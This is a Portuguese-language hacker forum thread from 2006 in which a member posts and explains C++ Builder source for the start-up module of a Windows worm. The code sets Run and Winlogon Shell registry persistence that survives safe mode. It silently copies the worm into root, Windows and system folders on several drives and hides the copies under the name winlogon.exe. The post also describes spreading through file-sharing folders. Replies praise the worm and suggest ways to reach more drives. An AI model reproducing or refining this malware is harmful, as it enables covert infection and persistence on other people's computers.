Aloha Galera do Darkers...
Hum depois da minha ultima performace no darkers resolvi postar uma coisa inédita até agora :)
bom gente eu o codei em BORLAND C++ BUILDER .. Então vou postar os fontes da parte
Inicializadora :)
que será a proxima a ser demonstrada
// Inclui Biblioteca de Manipulações de Processos e Comunicações
#include <string.h>
// Inclui Biblioteca de Strings Manipulações e Incrementações
#include <shellapi.h>
// Inclui Biblioteca de Api Shell Manipulações de Arquivos e Diretorios
#include <winreg.h>
// Inclui Biblioteca de Manipulação Registro ASCII
#include <winbase.h>
// Inclui Biblioteca de Manipulação de Base Kernel
#include <winuser.h>
// Inclui Biblioteca de Manipulação de Interfaces e Componentes de Usuarios
#include <winsock.h>
// Inclui Biblioteca de Manipulaçao de Sockets e Protocolos de Comunicações
class Inicializacao
// Classe de Inicialização do Worm Salvara Dados Pegara Informaçoes
// Para usa-las Depois
// Classe Base
{
public:
//Metodos Publicos Abaixo:
void VerificaDia (); // Função de Verificação de Dia
void VerificaHora (); // Funçãõ de Verificaçao de Hora
void GaranteInicio(); // Função de Escrever no Registro e Garantir Proxima Vez ser Executado
void Auto_Copia (); // Função Que Se Copia Automaticamente
void Camufla_Worm (); // Função Que Vai Camuflar Arquivos do Worm Copiados
};
Bom Acima Seria minha biblioteca .. Onde eu instancio e crio minha classe que vai alocar minhas funções
que são
Verifica Dia:
Isso eu codei para que quando o virus se iniciase ele verifica-se o dia atual ai caso for meu aniversario a rotina dele vai mudar :) caso for uma data especial tipo pascoa, natal tbm vai mudar
entendem é somente uma implementação basica de inteligencia artificial
Verifica Hora:
Isso seria para "zuar" com o idiota do usuario que rodar isso pois por exemplo meu virus vai falar com o usuario caso for meia noite por exemplo vai mandar ele ir dormir hahaha e ficar falando vai vai vai vai ate ele ir :) sabe pq mto pc faz malz hehhe se for meio dia vai mandar ele almoçar pra nao ficar desnutrido entende :)
é so um "Enchedor de paciencia" hahaha
Garante Inicio:
Isso seria para ele escrever no registro / winlogon tbm para que ele fosse executado sempre dá onde parou
ja que eu trabalho muito com a tecnica lista encadeada muitos devem saber o que é ele vai se auto-inicializar
mesmo que o usuario coloque o pc em modo de segurança :) somente uma prevenção ...
Auto_Copia
Isso seria se reproduzir e se "divulgar" nos outros sistemas Idiotas ...
seria ele se copiar para as pastas .. system, system32, windows, inicializar, emule ( para se reproduzir por Compartilhamento ), kazza tbm :)
seria uma diversão há mais e um salvamento de configuração dentro do executavel :)
Camufla_Worm
Isso seria a camuflagem ele vai se copiar e trocar a data de mudança do arquivos assim o s.o nao sabe que o arquivo se copio ele vai se copiar e mudar a extensao trocar o nome se invisiblizar
seria o metodo que o protege :)
Agora people vamos as programações das funçoes ali acima é o prototipo apenas hehehe
vamos la :)
#include "Unit1.h"
#include "winlogon_class.h"
// Inclui Classe Criada Por Min Para Programar Funções
#define COPIAR_AGORA FO_COPY
#define COPIAR_NA_SURDINA FOF_SILENT
// Declaração das Definiçoes
void Inicializacao::VerificaDia()
{
SYSTEMTIME tempo;
// Declara Estrutura de Manipulação do Tempo
GetSystemTime(&tempo);
// Pega Hora Atual e Atualizada
if( tempo.wDay == 29 && tempo.wMonth == 12 )
// Caso Seja Igual a Data do Meu Aniversario...
{
}
if( tempo.wDay == 31 && tempo.wMonth == 12 )
// Caso Ano Novo..
{
MessageBox(0,"Feliz Ano NOVO ... Desejo Mais Infecções", "@", 0 );
}
if( tempo.wDay == 24 && tempo.wMonth == 12 )
// Caso seja Natal
{
MessageBox(0,"Feliz NATAL ho-ho-ho", "@", 0 );
}
if( tempo.wDay == 13 )
// Caso For um Dia 13..
{
MessageBox(0,"Cuidado Dia 13 Da Azar Inda Mais pra um Cara Infectado :)", "@", 0);
}
}
Função que vai encher o saco do user lembra da verifica dia hehe olha como eu a programei :)
acima é ela para voces entenderem como eu codei
void Inicializacao::VerificaHora()
{
SYSTEMTIME Hora;
//Declara Strutura de Manipulação de Hora
GetSystemTime(&Hora); //Pega Hora Atual
if( Hora.wHour == 00 )
//Caso For Meia-Noite
{
MessageBox(0,"Vai Dormir :(|)", "@", 0 );
}
if( Hora.wHour == 7 )
//Caso For 7 da Manha
{
MessageBox(0,"Voce Ta Madrugando!!", "@", 0 );
}
}
Essa é a que vai verificar a hora pra encher o saco do idiota :)
void Inicializacao::GaranteInicio()
{
Windows::PHKEY p;
// Ponteiro Pra Chave de Registro
Windows::PHKEY p2;
// Ponteiro Pra Chave de Registro 2
if(RegOpenKey(HKEY_LOCAL_MACHINE, "Microsoft\\Software\\Windows\\CurrentVersion\\Run", p ))
{ // Se a Chave Conseguir Ser Aberta Para Manipulação que vai CONSEGUIR :)
TRegistry * Registro_Run = new TRegistry;
// Declara um Ponteiro de Registro Para Realizar a Manipulação Ponteiro Run
TRegistry * Registro_N = new TRegistry;
// Declara um Ponteiro de Registro Para Realizar a Manipulação Ponteiro NT
Registro_Run->RootKey = HKEY_LOCAL_MACHINE;
// Declara Como Chave Principal a Chave LOCAL_MACHINE
// Que Sera Usada como Advisoria Para outras Chaves e Sub Valores
Registro_N->RootKey = HKEY_LOCAL_MACHINE;
// Declara Como Chave Principal a Chave LOCAL_MACHINE
// Que Sera Usada Como Advisoria Para outras Chaves e Sub Valores
Registro_Run->OpenKey( "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" , False );
// Abre Chave Para Manipulação onde sera Escrito o Worm
Registro_N->OpenKey( "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", False );
// Abre Chave Para Manipulação Onde Sera Escrito o Worm Para Entrar Quando Entrar no MS
// MS - Modo de Segurança
Registro_Run ->WriteString ( "WinLogonR" , Application->ExeName );
// Escreve no Registro o Valor WinLogonR - > Nome do Executavel Que
// Vai Se Encarregar de Executar a Cada Iniciação o Worm..
Registro_N ->WriteString( "Shell", "Explorer.exe, " + Application->ExeName);
// Escreve no Registro o Valor SHELL - > Nome do Executavel Que
// Vai Se Encarregar de Executar a Cada Iniciação o Worm
// Chave que se Encarrega de Executar ATE no Modo de Segurança
FreeMemory( Registro_Run );
// Libera Mémoria Alocada Pelo Ponteiro Run
FreeMemory( Registro_N );
// Libera Mémoria Alocada Pelo Ponteiro NT
}
}
Com Essa acima ele se Garante que vá iniciar :)
podem ver dando um look nos comentarios que eu coloquei para ajudar a discernir
void Inicializacao::Auto_Copia()
{
// Ponteiros Para -> Diretorios Locais
TSHFileOpStruct fsC;
TSHFileOpStruct fsD;
TSHFileOpStruct fsE;
TSHFileOpStruct fsF;
// Ponteiros Para -> Diretorio Windows
TSHFileOpStruct fsC_Win;
TSHFileOpStruct fsD_Win;
TSHFileOpStruct fsE_Win;
TSHFileOpStruct fsF_Win;
// Ponteiros Para -> Diretorio Sistema
TSHFileOpStruct fsC_S;
TSHFileOpStruct fsD_S;
TSHFileOpStruct fsE_S;
TSHFileOpStruct fsF_S;
// Aloca um Ponteiro para a Estrutura onde contem Toda informação dos Arquivos
// A Serem Manipulados Pelo Codigo Viral
// Origem -> Destino -> Handle -> Hora Atual da Ultima Execução e Mtas Outras...
// Estrutura de Manipulação de Arquivo Usado Para Construção de Minhas
// Proprias rotinas de Manipulação
fsC.hwnd = NULL;
fsD.hwnd = NULL;
fsE.hwnd = NULL;
fsF.hwnd = NULL;
fsC_Win.hwnd = NULL;
fsD_Win.hwnd = NULL;
fsE_Win.hwnd = NULL;
fsF_Win.hwnd = NULL;
fsC_S.hwnd = NULL;
fsD_S.hwnd = NULL;
fsE_S.hwnd = NULL;
fsF_S.hwnd = NULL;
// Handle de Memoria de Arquivo Nula por Ser Operação Assincrona
// Handle e Tbm Seleção de Data e Hora Setando como NULO
// Não Avera Modificação na Hora e Data do Arquivo
// Passo Importante Para o Ocultamento Pois Assim o Windows e o Usuario
// Pensa que nao Houve Modificações nem Copias
fsC.wFunc = COPIAR_AGORA;
fsD.wFunc = COPIAR_AGORA;
fsE.wFunc = COPIAR_AGORA;
fsF.wFunc = COPIAR_AGORA;
fsC_Win.wFunc = COPIAR_AGORA;
fsD_Win.wFunc = COPIAR_AGORA;
fsE_Win.wFunc = COPIAR_AGORA;
fsF_Win.wFunc = COPIAR_AGORA;
fsC_S.wFunc = COPIAR_AGORA;
fsD_S.wFunc = COPIAR_AGORA;
fsE_S.wFunc = COPIAR_AGORA;
fsF_S.wFunc = COPIAR_AGORA;
// Especifica a Operação Envolvida na Shell no Caso COPIA
// Copiar_agora é uma Constante que eu Defini Apenas Para Inibir do Windows
// A Real Intenção com a COPIAR_AGORA
fsC.pFrom = Application->ExeName.c_str();
fsD.pFrom = Application->ExeName.c_str();
fsE.pFrom = Application->ExeName.c_str();
fsF.pFrom = Application->ExeName.c_str();
fsC_Win.pFrom = Application->ExeName.c_str();
fsD_Win.pFrom = Application->ExeName.c_str();
fsE_Win.pFrom = Application->ExeName.c_str();
fsF_Win.pFrom = Application->ExeName.c_str();
fsC_S.pFrom = Application->ExeName.c_str();
fsD_S.pFrom = Application->ExeName.c_str();
fsE_S.pFrom = Application->ExeName.c_str();
fsF_S.pFrom = Application->ExeName.c_str();
// Especifica o Local de Onde o Arquivo Original Esta no Caso Este Arquivo
// Ou Seja o Worm Salva uma Copia dele na Mémoria Heap e E Espera
fsC.pTo = "C://";
fsD.pTo = "D://";
fsE.pTo = "E://";
fsF.pTo = "F://";
fsC_Win.pTo = "C://WINDOWS";
fsD_Win.pTo = "D://WINDOWS";
fsE_Win.pTo = "E://WINDOWS";
fsF_Win.pTo = "F://WINDOWS";
fsC_S.pTo = "C://WINDOWS//system";
fsD_S.pTo = "D://WINDOWS//system";
fsE_S.pTo = "E://WINDOWS//system";
fsF_S.pTo = "F://WINDOWS//system";
// Especifica Onde Sera o Destino do Worm Qual Local Ele Ira
// No Caso Pega o Worm da Mémoria que Ja Esta Guardado Por From
// E o Joga no Novo Caminho
fsC.fFlags = COPIAR_NA_SURDINA;
fsD.fFlags = COPIAR_NA_SURDINA;
fsE.fFlags = COPIAR_NA_SURDINA;
fsF.fFlags = COPIAR_NA_SURDINA;
fsC_Win.fFlags = COPIAR_NA_SURDINA;
fsD_Win.fFlags = COPIAR_NA_SURDINA;
fsE_Win.fFlags = COPIAR_NA_SURDINA;
fsF_Win.fFlags = COPIAR_NA_SURDINA;
fsC_S.fFlags = COPIAR_NA_SURDINA;
fsD_S.fFlags = COPIAR_NA_SURDINA;
fsE_S.fFlags = COPIAR_NA_SURDINA;
fsF_S.fFlags = COPIAR_NA_SURDINA;
// Seleciona as Flags ou Opçoes Quero uma Copia Silenciosa
// Para Evitar Suspeitas
SHFileOperationA(&fsC);
SHFileOperationA(&fsD);
SHFileOperationA(&fsE);
SHFileOperationA(&fsF);
SHFileOperationA(&fsC_Win);
SHFileOperationA(&fsD_Win);
SHFileOperationA(&fsE_Win);
SHFileOperationA(&fsF_Win);
SHFileOperationA(&fsC_S);
SHFileOperationA(&fsD_S);
SHFileOperationA(&fsE_S);
SHFileOperationA(&fsF_S);
// Evoca a Operação Passando o Endereço de Memoria Onde Ocorrera Todo
// o Show ...
}
void Inicializacao::Camufla_Worm()
{
SetFileAttributesA("C://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("D://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("E://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("F://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
// Garante Arquivo ser Escondido no Dir Principal DE OTARIOS
SetFileAttributesA("C://WINDOWS//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("D://WINDOWS//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("E://WINDOWS//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("F://WINDOWS//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
// Garante Arquivo ser Escondido no Dir Win
SetFileAttributesA("C://WINDOWS//system//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("D://WINDOWS//system//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("E://WINDOWS//system//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("F://WINDOWS//system//winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
// Garante Arquivo ser Escondido no system
}
Bom essa ai é a função que mais demorei ele vai se copiar para as pastas em todos os sistemas de unidade
C:\ D:\ E:\ F:\ hehehe nda escapa e tbm vai se camuflar ..
BOM GENTE ESSE FOI MEU VÍRUS DIDATICO :)
Ricardo Silva de Barros
Data- 30 / Mar / 2006
Hora- 01:07 = Manha ..
Bom depois de uma explicação dessa nêm precisso falar nada né.
Valew mais uma vez por estar contribuindo com o darkers e compartilhando seu conhecimento com a galera.
Excelênte...
- Ponto Positivo
TGA
Grande Ricardo, arrebenando nos coders...
Essa tecnica de inicar no "shell Explorer" é muito boa, pois até em modo de segurença ele sera executado;
Só queria cometar uma linha abaixo;
QuoteSetFileAttributesA("C://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("D://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("E://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
SetFileAttributesA("F://winlogon.exe", FILE_ATTRIBUTE_HIDDEN );
// Garante Arquivo ser Escondido no Dir Principal DE OTARIOS
Já imaginou se vc fosse colocar para todas as partições, de A..z, que trabalho em..
POis acharia legar fazer de outro maneira, mais não sei se esta correto, pois não sei programar em C++;
Se estiver errado me corrijam;
QuoteSetFileAttributesA("C://winlogon.exe, D://winlogon.exe (D://winlogon.exe), E://winlogon.exe (E://winlogon.exe), F://winlogon.exe (F://winlogon.exe)", FILE_ATTRIBUTE_HIDDEN );
// Garante Arquivo ser Escondido no Dir Principal DE OTARIOS
Mas de toda maneira esta correto o coder, vai funfa do mesmo jeito;
Vlw ricardo Brother... como sempre codando pra caramba..
Putz!!
Ricardo vc merece ++ por isso !!! me diz ai, a onde eu iria encontrar um virus bem feito e super explicado????
Parabens!!!
[r1c4rdo1988]
Nem preciso falar nada hehehe.. uma ótima fonte de estudo.. é muito bom ter bons coders brasileiros e o mais importante, que compartilhem os seus conhecimentos..
Totalmente explicado, para quem estiver aprendendo C++ está feito hehe...
[TGA]
E ae cara :D
[]s
TGA
[ whit3_sh4rk ]Fala brother.. é estou trabalhando muitooo.. e estudando muitoo.. estou sem tempo;
mais ja estou voltando a ativa novamente, devagar vou chegando, a escola e o trabalho
estão me matando.
Quanto ao meu comentario acima, foi só uma ideia, como eu citei antes; pois sei que no
delphi tem como, só chamar o cmd e os parametros, vlw...mais uma vez repito, belo codigo ricardo;
vlw BrOtHeSs..
Abraços...
Então Gente é isso ai mesmo q o White Falow
E Sim.. Tga Mano tem mais uma maneira
que seria pedir uma Enumeração em Forma de Lista encadeada de todos os drives existentes
inclusive existe lib pra escrever na trilha 0 de qualquer .. assim seria facil tbm
talvez se eu usa-se um pouco de assembly conseguise infectar de A .. Z
TGA Oh mano num sei se voce notou mais .. essa de iniciar no Modo de segurança eu nao sabia nao quem foi que me falow??? VOCE cara Grettz pra voce !! Lembra q eu disse q ia usar hehehe
Vlw Ai pessoal é so estudar agora .. principalmente pra quem quer aprender um pouco de C++
e outra em
Vou falar uma acho q alguns vão se interresar
Isso esta em BCB - Borland C++ Builder
TUDO QUE ESTÁ EM BCB -> PODE Virar DELPHI
Pq os magos do delphi nao codam pra delphi ele ^^
Flw Gente
Apoc, tou impressionado.
Pra quem nao sabe, faz alguns meses eu mesmo testei o malware no meu pc com o apoc. Nao consegui tirar e meu firewall passou batido das acoes dele ^^
Te admiro por compartilhar apoc
Putz apoca... Cara, to sem palavras, muito foda.
Como o Shady disse, te amo po compartilhar. Isso mesmo cara, assim vc vai longe.
Flw ae apoca.
Preciso falar com vc no MSN...
...by Cloudy
uma coisa interessante a se fazer seria:
int i;
char Buf[40];
for (i = 'A'; i != 'Z'; i++)
sprintf(Buf, "%c:\\winlogon.exe", i);
SetFileAttributesA(Buf, FILE_ATTRIBUTE_HIDDEN );
sprintf(Buf, "%c:\\WINDOWS\\winlogon.exe", i);
SetFileAttributesA(Buf, FILE_ATTRIBUTE_HIDDEN );
sprintf(Buf, "%c:\\WINDOWS\\SYSTEM32\\winlogon.exe", i);
SetFileAttributesA(Buf, FILE_ATTRIBUTE_HIDDEN );
}
Daí vai de A a Z sem problemas

E menos physical strings = menos espaço
@ricardo
cara vc merece um
while(1=1) {
$ponto = $ponto++;
}
XD soh cuidado pra nao criar e espalhar worm que ai pode dar merda tipo o que aconteceu com o alemao que criou o virus lsass
PQP kra, vc é muito inteligente, parabéns pra vc, muito rOx o bagulho, e explicado desse geito velho...nosga o.O
Boa ++++/++++
ae
R1c4rdo vc eh foda cara hhe
QuotefsC_Win.pTo = "C://WINDOWS";
fsD_Win.pTo = "D://WINDOWS";
fsE_Win.pTo = "E://WINDOWS";
fsF_Win.pTo = "F://WINDOWS";
a variavel %windir% ou %systemroot% num serve nesse caso?
Fino demais esse codigo....valeu Ricardo.
Parabéns!
sem comentarios =;)
Quote from: "H4C"ae R1c4rdo vc eh foda cara hhe
QuotefsC_Win.pTo = "C://WINDOWS";
fsD_Win.pTo = "D://WINDOWS";
fsE_Win.pTo = "E://WINDOWS";
fsF_Win.pTo = "F://WINDOWS";
a variavel %windir% ou %systemroot% num serve nesse caso?
Não, só se utilizasse ExpandEnvironmentStrings, mas daí não teria utilidade, porque ele poderia utilizar GetWindowsDirectory. Esse código queo r1c4rdo postou não é otimizado, se o Windows estiver instalado no G: e pra frente, nada vai ser copiado. E para a checagem da hora, vai ser muito difícil que a hora da inicialização coincida com a hora dentro estipulada (meia-noite e sete da manhã), um SetTimer ali seria bem vindo, e checar de hora em hora.
Tem muito código desnecessário, como todas essas variáveis repetindo a mesma operação e sem checagem de erro.